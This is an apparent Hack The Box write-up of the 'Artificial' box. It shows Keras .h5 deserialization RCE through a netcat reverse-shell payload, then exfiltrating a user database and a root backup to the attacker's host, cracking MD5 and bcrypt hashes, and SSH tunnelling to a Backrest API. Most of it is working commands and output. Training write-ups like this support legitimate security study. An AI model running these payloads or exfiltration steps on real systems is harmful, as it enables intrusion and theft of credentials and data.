Artificial

hackthebox.com - © HACKTHEBOX

Intro

Box Info

🔗 Name

🎯 Target IP

10.10.11.74

📈 Difficulty level

🟩Easy

🐧OS

Linux


Recon

mkdir -p $HOME/htb/artificial/nmap
cd $HOME/htb/artificial

Start Reconnaissance

# Fast full TCP port scan
nmap -p- --min-rate 10000 10.10.11.74
# Scan open ports with default scripts and version detection
nmap -p 22,80 -sC -sV -vv -oA nmap/artificial 10.10.11.74
# Nmap Output
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDNABz8gRtjOqG4+jUCJb2NFlaw1auQlaXe1/+I+BhqrriREBnu476PNw6mFG9ifT57WWE/qvAZQFYRvPupReMJD4C3bE3fSLbXAoP03+7JrZkNmPRpVetRjUwP1acu7golA8MnPGzGa2UW38oK/TnkJDlZgRpQq/7DswCr38IPxvHNO/15iizgOETTTEU8pMtUm/ISNQfPcGLGc0x5hWxCPbu75OOOsPt2vA2qD4/sb9bDCOR57bAt4i+WEqp7Ri/act+f4k6vypm1sebNXeYaKapw+W83en2LnJOU0lsdhJiAPKaD/srZRZKOR0bsPcKOqLWQR/A6Yy3iRE8fcKXzfbhYbLUiXZzuUJoEMW33l8uHuAza57PdiMFnKqLQ6LBfwYs64Q3v8oAn5O7upCI/nDQ6raclTSigAKpPbliaL0HE/P7UhNacrGE7Gsk/FwADiXgEAseTn609wBnLzXyhLzLb4UVu9yFRWITkYQ6vq4ZqsiEnAsur/jt8WZY6MQ8=
|   256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOdlb8oU9PsHX8FEPY7DijTkQzsjeFKFf/xgsEav4qedwBUFzOetbfQNn3ZrQ9PMIHrguBG+cXlA2gtzK4NPohU=
|   256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH8QL1LMgQkZcpxuylBjhjosiCxcStKt8xOBU0TjCNmD

80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://artificial.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Add the found values to the /etc/hosts file

# e.g. adeguate with found values, hostnames, ffuf
sudo sh -c 'echo "10.10.11.74 artificial.htb" >> /etc/hosts' && ping -c 3 artificial.htb

# At the end of the box
# To clean up the last line from the /etc/hosts file
sudo sed -i '$ d' /etc/hosts

Exploitation

Deserialization RCE via load_model

Critical issue:

model = tf.keras.models.load_model(model_path)
  • Any .h5 file uploaded by a user is loaded directly

  • This TensorFlow deserialization vulnerability lets the user run arbitrary Python code as the web server user

Impact: Full remote code execution (RCE).

Browse http://artificial.htb/ and register a user

  • Download Dockerfile and move it into the artificial directory

  • Let's try the PoC locally with the provided Dockerfile

cd $HOME/htb/artificial/

git clone https://github.com/Splinter0/tensorflow-rce.git

# Inside exploit.py
nano tensorflow-rce/exploit.py
# Change IP and port in the line
    os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.14 1234 >/tmp/f")
# Inside Dockerfile
cd $HOME/htb/artificial/
nano Dockerfile

# add netcat-openbsd to the following line, like this
    apt-get install -y curl netcat-openbsd && \
# Build and run the Dockerfile with mounted tensorflow-rce dir
docker build -t tf-rce .
docker run -it --rm -v ./tensorflow-rce:/work tf-rce

# KALI
nc -nvlp 1234
# Inside the container create the malicious model
python3 exploit.py
  • Should receive a shell on the nc listener

  • CTRL+C to stop

  • exploit.h5 model is generated

Upload the exploit.h5 model inside http://artificial.htb/dashboard with the registered user


Foothold

Shell as user app

Start a nc listener and click View Predictions on the uploaded model

# Reverse shell
nc -nvlp 1234

listening on [any] 1234 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.11.74] 56386
/bin/sh: 0: can't access tty; job control turned off
$ id 
uid=1001(app) gid=1001(app) groups=1001(app)

ls -lah /home

total 16K
drwxr-xr-x  4 root root 4.0K Jun 18 13:19 .
drwxr-xr-x 19 root root 4.0K Jun 25 19:50 ..
drwxr-x---  6 app  app  4.0K Jun  9 10:52 app
drwxr-x---  4 gael gael 4.0K Jun  9 08:53 gael
  • Set a full interactive TTY Shell

# Full interactive TTY shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
CTRL+Z
stty raw -echo; fg
# Hit ENTER when cursor blinks
export TERM=xterm
app@artificial:~/app$ cat app.py
from flask import Flask, render_template, request, redirect, url_for, session, send_file, flash
from flask_sqlalchemy import SQLAlchemy
from werkzeug.utils import secure_filename
import os
import tensorflow as tf
import hashlib
import uuid
import numpy as np
import io
from contextlib import redirect_stdout
import hashlib

app = Flask(__name__)
app.secret_key = "Sup3rS3cr3tKey4rtIfici4L"

app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
app.config['UPLOAD_FOLDER'] = 'models'

db = SQLAlchemy(app)

MODEL_FOLDER = 'models'
os.makedirs(MODEL_FOLDER, exist_ok=True)

class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(100), unique=True, nullable=False)
    email = db.Column(db.String(120), unique=True, nullable=False)
    password = db.Column(db.String(200), nullable=False)
    models = db.relationship('Model', backref='owner', lazy=True)

class Model(db.Model):
    id = db.Column(db.String(36), primary_key=True)
    filename = db.Column(db.String(120), nullable=False)
    user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() == 'h5'

def hash(password):
 password = password.encode()
 hash = hashlib.md5(password).hexdigest()
 return hash

@app.route('/')
def index():
    if ('user_id' in session):
        username = session['username']
        if (User.query.filter_by(username=username).first()):
            return redirect(url_for('dashboard'))

    return render_template('index.html')

@app.route('/static/requirements.txt')
def download_txt():
    try:
        pdf_path = './static/requirements.txt'  # Adjust path as needed
        
        return send_file(
            pdf_path,
            as_attachment=True,
            download_name='requirements.txt',  # Name for downloaded file
            mimetype='application/text'
        )
    except FileNotFoundError:
        return "requirements file not found", 404


@app.route('/static/Dockerfile')
def download_dockerfile():
    try:
        pdf_path = './static/Dockerfile'  # Adjust path as needed

        return send_file(
            pdf_path,
            as_attachment=True,
            download_name='Dockerfile',  # Name for downloaded file
            mimetype='application/text'
        )
    except FileNotFoundError:
        return "Dockerfile file not found", 404

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        email = request.form['email']
        password = request.form['password']
        hashed_password = hash(password)
        
        existing_user = User.query.filter((User.username == username) | (User.email == email)).first()
        
        if existing_user:
            flash('Username or email already exists. Please choose another.', 'error')
            return render_template('register.html')
        
        new_user = User(username=username, email=email, password=hashed_password)

        try:
            db.session.add(new_user)
            db.session.commit()
            return redirect(url_for('login'))
        except Exception as e:
            db.session.rollback()
            flash('An error occurred. Please try again.', 'error')

    return render_template('register.html')


@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        email = request.form['email']
        password = request.form['password']
        user = User.query.filter_by(email=email).first()

        if user and user.password == hash(password):
            session['user_id'] = user.id
            session['username'] = user.username
            return redirect(url_for('dashboard'))
        else:
          pass

    return render_template('login.html')

@app.route('/dashboard')
def dashboard():
    if ('user_id' in session):
        username = session['username']
        if not (User.query.filter_by(username=username).first()):
            return redirect(url_for('login'))
    else:
        return redirect(url_for('login'))

    user_models = Model.query.filter_by(user_id=session['user_id']).all()
    return render_template('dashboard.html', models=user_models, username=username)


@app.route('/upload_model', methods=['POST'])
def upload_model():
    if ('user_id' in session):
        username = session['username']
        if not (User.query.filter_by(username=username).first()):
            return redirect(url_for('login'))
    else:
        return redirect(url_for('login'))

    if 'model_file' not in request.files:
        return redirect(url_for('dashboard'))

    file = request.files['model_file']

    if file.filename == '':
        return redirect(url_for('dashboard'))

    if file and allowed_file(file.filename):
        model_id = str(uuid.uuid4())
        filename = f"{model_id}.h5"
        file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)

        try:
            file.save(file_path)

            new_model = Model(id=model_id, filename=filename, user_id=session['user_id'])
            db.session.add(new_model)
            db.session.commit()

        except Exception as e:
            if os.path.exists(file_path):
                os.remove(file_path)
    else:
       pass

    return redirect(url_for('dashboard'))

@app.route('/delete_model/<model_id>', methods=['GET'])
def delete_model(model_id):
    if ('user_id' in session):
        username = session['username']
        if not (User.query.filter_by(username=username).first()):
            return redirect(url_for('login'))
    else:
        return redirect(url_for('login'))
 
    model = Model.query.filter_by(id=model_id, user_id=session['user_id']).first()

    if model:
        file_path = os.path.join(app.config['UPLOAD_FOLDER'], model.filename)
        if os.path.exists(file_path):
            os.remove(file_path)
        db.session.delete(model)
        db.session.commit()
    else:
       pass

    return redirect(url_for('dashboard'))


@app.route('/run_model/<model_id>')
def run_model(model_id):
    if ('user_id' in session):
        username = session['username']
        if not (User.query.filter_by(username=username).first()):
            return redirect(url_for('login'))
    else:
        return redirect(url_for('login'))

    model_path = os.path.join(app.config['UPLOAD_FOLDER'], f'{model_id}.h5')

    if not os.path.exists(model_path):
        return redirect(url_for('dashboard'))

    try:
        model = tf.keras.models.load_model(model_path)

        hours = np.arange(0, 24 * 7).reshape(-1, 1)
        predictions = model.predict(hours)

        days_of_week = ["Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday", "Sunday"]
        daily_predictions = {f"{days_of_week[i // 24]} - Hour {i % 24}": round(predictions[i][0], 2) for i in range(len(predictions))}

        max_day = max(daily_predictions, key=daily_predictions.get)
        max_prediction = daily_predictions[max_day]

        model_summary = []
        model.summary(print_fn=lambda x: model_summary.append(x))
        model_summary = "\n".join(model_summary)

        return render_template(
            'run_model.html',
            model_summary=model_summary,
            daily_predictions=daily_predictions,
            max_day=max_day,
            max_prediction=max_prediction
        )
    except Exception as e:
        print(e)
        return redirect(url_for('dashboard'))

@app.route('/logout')
def logout():
    session.pop('user_id', None)
    session.pop('username', None)
    return redirect(url_for('index'))

if __name__ == '__main__':
    with app.app_context():
        db.create_all()
    app.run(host='127.0.0.1')

There is secret key hardcoded in the source:

📌 Try SSH with gael:Sup3rS3cr3tKey4rtIfici4L -> not working

Weak Password Hashing

hash = hashlib.md5(password).hexdigest()
  • Using MD5 for password hashing is insecure

  • Can be brute-forced easily

  • No salt


Lateral Movement

Dump the users.db SQLite file and crack MD5 hashes

find / -type f -name "users.db" 2>/dev/null
/home/app/app/instance/users.db

file /home/app/app/instance/users.db
/home/app/app/instance/users.db: SQLite 3.x database, last written using SQLite version 3031001
  • Copy users.db to local KaliVM

# KALI
nc -lvnp 4445 > users.db
# Target
nc 10.10.14.14 4445 < /home/app/app/instance/users.db
sqlite3 users.db

SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
model  user 
sqlite> select * from user;
1|gael|[email protected]|c99175974b6e192936d97224638a34f8
2|mark|[email protected]|0f3d8c76530022670f1c6029eed09ccb
3|robert|[email protected]|b606c5f5136170f15444251665638b36
4|royer|[email protected]|bc25b1f80f544c0ab451c02a3dca9fc6
5|mary|[email protected]|bf041041e57f1aff3be7ea1abd6129d0
6|qwsa|[email protected]|d8578edf8458ce06fbc5bb76a58c5ca4
7|abc|[email protected]|900150983cd24fb0d6963f7d28e17f72
8|admin|[email protected]|5f4dcc3b5aa765d61d8327deb882cf99
9|test|[email protected]|098f6bcd4621d373cade4e832627b4f6
10|syselement|[email protected]|5f4dcc3b5aa765d61d8327deb882cf99

📌 Crack the MD5 hashes

  • Create a hashes.txt file with user:hash values

nano hashes.txt
gael:c99175974b6e192936d97224638a34f8
mark:0f3d8c76530022670f1c6029eed09ccb
robert:b606c5f5136170f15444251665638b36
royer:bc25b1f80f544c0ab451c02a3dca9fc6
mary:bf041041e57f1aff3be7ea1abd6129d0
qwsa:d8578edf8458ce06fbc5bb76a58c5ca4
abc:900150983cd24fb0d6963f7d28e17f72
admin:5f4dcc3b5aa765d61d8327deb882cf99
test:098f6bcd4621d373cade4e832627b4f6
  • Run john

john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

john --show --format=raw-md5 hashes.txt

gael:mattp005numbertwo
royer:marwinnarak043414036
qwsa:qwerty
abc:abc
admin:password
test:test

Shell as user gael

📌 SSH with gael:mattp005numbertwo

gael@artificial:~$ ls -lah
total 32K
drwxr-x--- 4 gael gael 4.0K Jun  9 08:53 .
drwxr-xr-x 4 root root 4.0K Jun 18 13:19 ..
lrwxrwxrwx 1 root root    9 Oct 19  2024 .bash_history -> /dev/null
-rw-r--r-- 1 gael gael  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 gael gael 3.7K Feb 25  2020 .bashrc
drwx------ 2 gael gael 4.0K Sep  7  2024 .cache
-rw-r--r-- 1 gael gael  807 Feb 25  2020 .profile
lrwxrwxrwx 1 root root    9 Oct 19  2024 .python_history -> /dev/null
lrwxrwxrwx 1 root root    9 Oct 19  2024 .sqlite_history -> /dev/null
drwx------ 2 gael gael 4.0K Sep  7  2024 .ssh
-rw-r----- 1 root gael   33 Jun 25 19:26 user.txt
# User Flag
gael@artificial:~$ cat user.txt
2d34e***************************
sudo -l
[sudo] password for gael: 
Sorry, user gael may not run sudo on artificial.

uname -a
Linux artificial 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux

cat /etc/os-release
NAME="Ubuntu"
VERSION="20.04.6 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.6 LTS"
VERSION_ID="20.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal

groups
gael sysadm


find / -perm -4000 -type f 2>/dev/null
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/fusermount
/usr/bin/chsh
/usr/bin/mount
/usr/bin/sudo
/usr/bin/su
/usr/bin/passwd
/usr/bin/at
/usr/bin/umount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign

getcap -r / 2>/dev/null
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

ss -tnlp
State      Recv-Q     Send-Q         Local Address:Port         Peer Address:Port    Process    
LISTEN     0          2048               127.0.0.1:5000              0.0.0.0:*                  
LISTEN     0          4096               127.0.0.1:9898              0.0.0.0:*                  
LISTEN     0          511                  0.0.0.0:80                0.0.0.0:*                  
LISTEN     0          4096           127.0.0.53%lo:53                0.0.0.0:*                  
LISTEN     0          128                  0.0.0.0:22                0.0.0.0:*                  
LISTEN     0          511                     [::]:80                   [::]:*                  
LISTEN     0          128                     [::]:22                   [::]:* 

Privilege Escalation

backrest_root Creds bruteforce

sudo -l
[sudo] password for gael: 
Sorry, user gael may not run sudo on artificial.

uname -a
Linux artificial 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux

cat /etc/os-release
NAME="Ubuntu"
VERSION="20.04.6 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.6 LTS"
VERSION_ID="20.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal

groups
gael sysadm


find / -perm -4000 -type f 2>/dev/null
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/fusermount
/usr/bin/chsh
/usr/bin/mount
/usr/bin/sudo
/usr/bin/su
/usr/bin/passwd
/usr/bin/at
/usr/bin/umount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign

getcap -r / 2>/dev/null
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

ss -tnlp
State      Recv-Q     Send-Q         Local Address:Port         Peer Address:Port    Process    
LISTEN     0          2048               127.0.0.1:5000              0.0.0.0:*                  
LISTEN     0          4096               127.0.0.1:9898              0.0.0.0:*                  
LISTEN     0          511                  0.0.0.0:80                0.0.0.0:*                  
LISTEN     0          4096           127.0.0.53%lo:53                0.0.0.0:*                  
LISTEN     0          128                  0.0.0.0:22                0.0.0.0:*                  
LISTEN     0          511                     [::]:80                   [::]:*                  
LISTEN     0          128                     [::]:22                   [::]:* 
find / -group sysadm -writable 2>/dev/null
find / -group sysadm 2>/dev/null
/var/backups/backrest_backup.tar.gz

ls -l /var/backups/backrest_backup.tar.gz
-rw-r----- 1 root sysadm 52357120 Mar  4 22:19 /var/backups/backrest_backup.tar.gz
  • Copy backrest_backup.tar.gz to local KaliVM

# KALI
nc -lvnp 4444 > backrest_backup.tar.gz
# Target
nc 10.10.14.14 4444 < /var/backups/backrest_backup.tar.gz
# KALI
tar -xvf backrest_backup.tar.gz

cd backrest

ls -lah
Permissions Size User       Date Modified Name
drwxr-xr-x     - syselement  3 Mar 23:27  .config
drwxr-xr-x     - syselement  3 Mar 23:18  processlogs
drwxr-xr-x     - syselement  5 Mar 00:17  tasklogs
.rwxr-xr-x   26M syselement 16 Feb 21:38  backrest
.rwxr-xr-x  3.0k syselement  3 Mar 06:28  install.sh
.rw-------    64 syselement  3 Mar 23:18  jwt-secret
.rw-r--r--   57k syselement  5 Mar 00:13  oplog.sqlite
.rw-r--r--   33k syselement  5 Mar 00:17  oplog.sqlite-shm
.rw-r--r--     0 syselement  5 Mar 00:17  oplog.sqlite-wal
.rw-------     0 syselement  3 Mar 23:18  oplog.sqlite.lock
.rwxr-xr-x   27M syselement  3 Mar 06:28  restic
cat .config/backrest/config.json
{
  "modno": 2,
  "version": 4,
  "instance": "Artificial",
  "auth": {
    "disabled": false,
    "users": [
      {
        "name": "backrest_root",
        "passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
      }
    ]
  }
}
echo 'JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP' | base64 -d

$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO
  • Crack the bcrypt hash

nano bcrypt.hash

backrest_root:$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO
john --wordlist=/usr/share/wordlists/rockyou.txt bcrypt.hash

john --show bcrypt.hash
backrest_root:!@#$%^

SSH Local port forwarding

  • Create a secure tunnel between Kali local port 9898 and 127.0.0.1:9898 on the remote machine, to expose the remote Backrest API service locally

ssh -L 9898:127.0.0.1:9898 [email protected]
# mattp005numbertwo

Browse to http://localhost:9898/

  • 📌 use backrest_root:!@#$%^ credentials to login

Restic server and backup exfiltration

On Kali, host a Restic Server, to receive backups over HTTP from the remote Backrest

# KALI
go install github.com/restic/rest-server/cmd/rest-server@latest

mkdir -p /tmp/restic
rest-server --path /tmp/restic --listen :4444 --no-auth
  • In the BackrestAPI - Add a Repo

Repo Name:
backup_name

Repository URI:
rest:http://10.10.14.14:4444/
  • Test the configuration and Submit (save)

# OUTPUT received on the KALI rest-server
Creating repository directories in /tmp/restic
  • In the BackrestAPI - Add a Plan with the following values and Submit

Plan Name:
root

Repository:
backup_name

Paths:
/root
  • Run the Backup Plan manually

    • This will create a snapshot on the Kali Restic Server

  • Restore the backup

# KALI
sudo apt install restic

restic snapshots -r /tmp/restic/

enter password for repository: 
repository 921dda5a opened (version 2, compression level auto)
created new cache in /home/syselement/.cache/restic
ID        Time                 Host        Tags                             Paths  Size
--------------------------------------------------------------------------------------------
af0fc73c  2025-06-28 02:49:28  artificial  plan:root,created-by:Artificial  /root  4.299 MiB
--------------------------------------------------------------------------------------------
1 snapshots
mkdir /tmp/restored
restic restore -r /tmp/restic/ af0fc73c --target /tmp/restored

Shell as root - SSH with SSH key

mv /tmp/restored/root $HOME/htb/artificial/
cd $HOME/htb/artificial/root/.ssh

ssh -i id_rsa [email protected]

root@artificial:~# id
uid=0(root) gid=0(root) groups=0(root)
# Root Flag
root@artificial:~# cat root.txt 
bd9b5***************************

Post Exploitation

root@artificial:~# crontab -l
# Edit this file to introduce tasks to be run by cron.
# 
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
# 
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').
# 
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# 
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
# 
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
# 
# For more information see the manual pages of crontab(5) and cron(8)
# 
# m h  dom mon dow   command
*/10 * * * * /root/scripts/cleanup.sh
root@artificial:~# cat scripts/cleanup.sh 
#!/bin/bash
rm -r /dev/shm/*
shopt -s extglob
rm -r /tmp/!(systemd*)
rm -r /home/*/!(.bash_logout|.bashrc|user.txt|.ssh|.profile|.bash_history|.python_history|.sqlite_history|app)
rm -r /home/app/app/!(app.py|instance|models|__pycache__|static|templates)
rm -r /home/app/app/instance/!(users.db)
rm -r /home/app/app/static/!(css|js|requirements.txt|Dockerfile)
rm -r /home/app/app/static/css/!(styles.css)
rm -r /home/app/app/static/js/!(scripts.js)
rm -r /root/.ssh/!(id_rsa|authorized_keys)
rm -r /root/!(root.txt|scripts)
rm -r /home/app/app/templates/!(dashboard.html|index.html|login.html|register.html|run_model.html|sales_statistics.html)
shopt -u extglob
rm -r /home/app/app/models/*
rm -r /opt/backrest/.config/backrest/*
cp /root/scripts/config.json /opt/backrest/.config/backrest/config.json
chmod 600 /opt/backrest/.config/backrest/config.json
truncate -s 0 /opt/backrest/processlogs/backrest.log
sqlite3 /opt/backrest/oplog.sqlite 'delete from operations; delete from operation_groups'
/usr/sbin/service backrest restart
root@artificial:~# cat scripts/config.json 
{
  "modno": 2,
  "version": 4,
  "instance": "Artificial",
  "auth": {
    "disabled": false,
    "users": [
      {
        "name": "backrest_root",
        "passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
      }
    ]
  }
}

Why does cleanup.sh exist:

  • To remove any uploaded files, logs, or traces of exploitation

  • To restore the environment to an expected state every 10 minutes

  • To make persistent compromise harder to maintain

What to watch out for if re-exploiting:

  • Any malicious files or shells you drop will be deleted within 10 min

  • Evidence in logs or SQLite will be wiped

  • Any config changes will be overwritten


Summary

  1. Uploaded a malicious .h5 TensorFlow model to the web app.

  2. The model triggered remote code execution as the app user.

  3. Enumerated the system and dumped the SQLite database with user hashes.

  4. Cracked MD5 hashes from users.db, recovering plaintext passwords.

  5. Used the cracked credentials to SSH in as gael.

  6. Found /var/backups/backrest_backup.tar.gz owned by sysadm.

  7. Extracted it locally and discovered backrest config with a bcrypt password hash.

  8. Cracked the bcrypt hash to get backrest_root credentials.

  9. SSH-tunneled port 9898 to access the Backrest API running as root.

  10. Authenticated to the API using the cracked credentials.

  11. Set up a rest-server on Kali to receive backups.

  12. Used Backrest to backup /root to Kali machine.

  13. Restored the backup locally and retrieved root.txt.


Extra


Last updated

Was this helpful?